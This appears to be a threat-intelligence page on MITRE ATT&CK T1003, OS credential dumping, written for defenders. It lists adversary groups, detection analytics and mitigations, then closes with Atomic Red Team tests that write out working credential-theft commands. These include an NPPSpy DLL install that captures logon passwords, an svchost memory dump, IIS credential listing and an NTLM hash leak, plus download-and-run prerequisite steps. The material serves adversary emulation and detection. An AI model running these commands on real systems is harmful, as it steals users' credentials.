Has used the SecretsDump module within Impacket can perform credential dumping to obtain account and password information.1
OS Credential Dumping T1003
- Tactic
- Credential Access
- Platforms
- Linux, macOS, Windows
- Version
- 2.2
- Created
- 31 May 2017
- Last modified
- 24 October 2025
- Contributors
- Vincent Le Toux; Ed Williams, Trustwave, SpiderLabs; Tim (Wadhwa-)Brown; Yves Yonan
Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.[1] Credentials can then be used to perform Lateral Movement and access restricted information.
OS Credential Dumping MITRE reference T1003
13 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Used tools such as Cobalt Strike and Mimikatz to dump credentials from victim systems.12
Gathers credential material from target systems, such as SSH keys, to facilitate access to victim environments.1
Has used a variety of credential dumping tools.1
Utilized “Hdump” to dump credentials from memory.1
Has used different versions of Mimikatz to obtain credentials.1
All 13 groups for this technique · 6 newest in this preview
7 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Includes modules for dumping and capturing credentials from process memory.1
Has a plugin for credential harvesting.1
Can perform credential dumping.1
Can dump passwords and save them into \ProgramData\Mail\MailAg\pwds.txt.1
Steals credentials from its victims.1
Steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).1
All 7 software entries for this technique · 6 newest in this preview
Offense vs defense T1003
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
OS Credential Dumping detection strategy DET0234
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Credential Dumping via Sensitive Memory and Registry Access Correlation
AN0648 · Windows
Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
| Active Directory Object AccessDC0071 | WinEventLog:Security | EventCode=4662 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AccessMask | Set to detect full access rights (0x1F0FFF) or modify based on tool behavior. |
| TimeWindow | Define how soon access to LSASS is followed by suspicious file or registry activity. |
| ParentProcessFilter | Allowlist known security tools or system processes accessing LSASS. |
AN0649 · Linux
Processes opening /proc/*/mem or /proc/*/maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| Process AccessDC0035 | auditd:SYSCALL | ptrace |
| File AccessDC0055 | auditd:SYSCALL | open |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TargetProcessName | Define sensitive targets (e.g., sshd, login) being memory-read. |
| ToolProcessName | Flag use of memory dump tools like gcore, gdb, pmap. |
AN0650 · macOS
Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:osquery | Invocation of osascript or dylib injection |
| Process MetadataDC0034 | macos:unifiedlog | Code Execution & Entitlement Access |
| File AccessDC0055 | macos:keychain | Access to Keychain DB or system.keychain |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| KeychainAccessPath | Path to watch for abnormal access, e.g., /Library/Keychains/ |
| SignedBinaryStatus | Filter out signed/trusted binaries. |
Manage the access control list for “Replicating Directory Changes All” and other permissions associated with domain controller replication. Consider adding users to the "Protected Users" Active Directory security group. This can help limit the caching of users' plaintext credentials.
On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing.
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.
Ensure Domain Controller backups are properly secured.
Consider disabling or restricting NTLM. Consider disabling WDigest authentication.
Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
Windows: Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Linux: Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.
On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Gsecdump | windows | cmd | Required | 1 | — | ||||||||||||||||||
Dump credentials from memory using Gsecdump. Upon successful execution, you should see domain\username's followed by two 32 character hashes. If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator) If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first. Input arguments
Attack command "#{gsecdump_exe}" -a
Prerequisite Gsecdump must exist on disk at specified location (#{gsecdump_exe}) Check if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
Move-Item $binpath "#{gsecdump_exe}"
}
GUIDeadef3d4-809a-400e-8fe0-35b17f4ad186 | ||||||||||||||||||||||||
| 02 | Credential Dumping with NPPSpy | windows | PowerShell | Required | 1 | Yes | ||||||||||||||||||
Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy Attack command Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32" $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy" Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt" Cleanup command $cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy','' Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore Remove-Item C:\NPPSpy.txt -ErrorAction Ignore Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore Prerequisite NPPSpy.dll must be available in ExternalPayloads directory Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1}Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" GUIDd337b9b9-f715-40b9-8824-5af2dc5ab68a | ||||||||||||||||||||||||
| 03 | Dump svchost.exe to gather RDP credentials | windows | PowerShell | Required | — | Yes | ||||||||||||||||||
The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/ Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp. Attack command $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
Cleanup command Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore GUID2457dd26-a85c-454c-b6b2-ac867166d1c2 | ||||||||||||||||||||||||
| 04 | Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list) | windows | PowerShell | Required | 1 | — | ||||||||||||||||||
AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference Attack command C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:* Prerequisite IIS must be installed prior to running the test Check if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}Satisfy Install-WindowsFeature -name Web-Server -IncludeManagementTools GUID41e7c702-54d7-4fc2-b89a-467a6fc43763 | ||||||||||||||||||||||||
| 05 | Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config) | windows | PowerShell | Required | 1 | — | ||||||||||||||||||
AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference Attack command C:\Windows\System32\inetsrv\appcmd.exe list apppool /config Prerequisite IIS must be installed prior to running the test Check if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}Satisfy Install-WindowsFeature -name Web-Server -IncludeManagementTools GUID21add8ab-c0fe-4363-a793-b2576f4542b7 | ||||||||||||||||||||||||
| 06 | Dump Credential Manager using keymgr.dll and rundll32.exe | windows | PowerShell | — | — | — | ||||||||||||||||||
This test executes the exported function Attack command rundll32.exe keymgr,KRShowKeyMgr GUID94f51515-35c4-4bed-9364-afc07e48df85 | ||||||||||||||||||||||||
| 07 | Send NTLM Hash with RPC Test Connection | windows | PowerShell | — | — | — | ||||||||||||||||||
RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Ref: https://twitter.com/vysecurity/status/974806438316072960 Input arguments
Attack command rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$NullGUID7c3603e6-8402-4987-a008-97d2916b7df4 | ||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition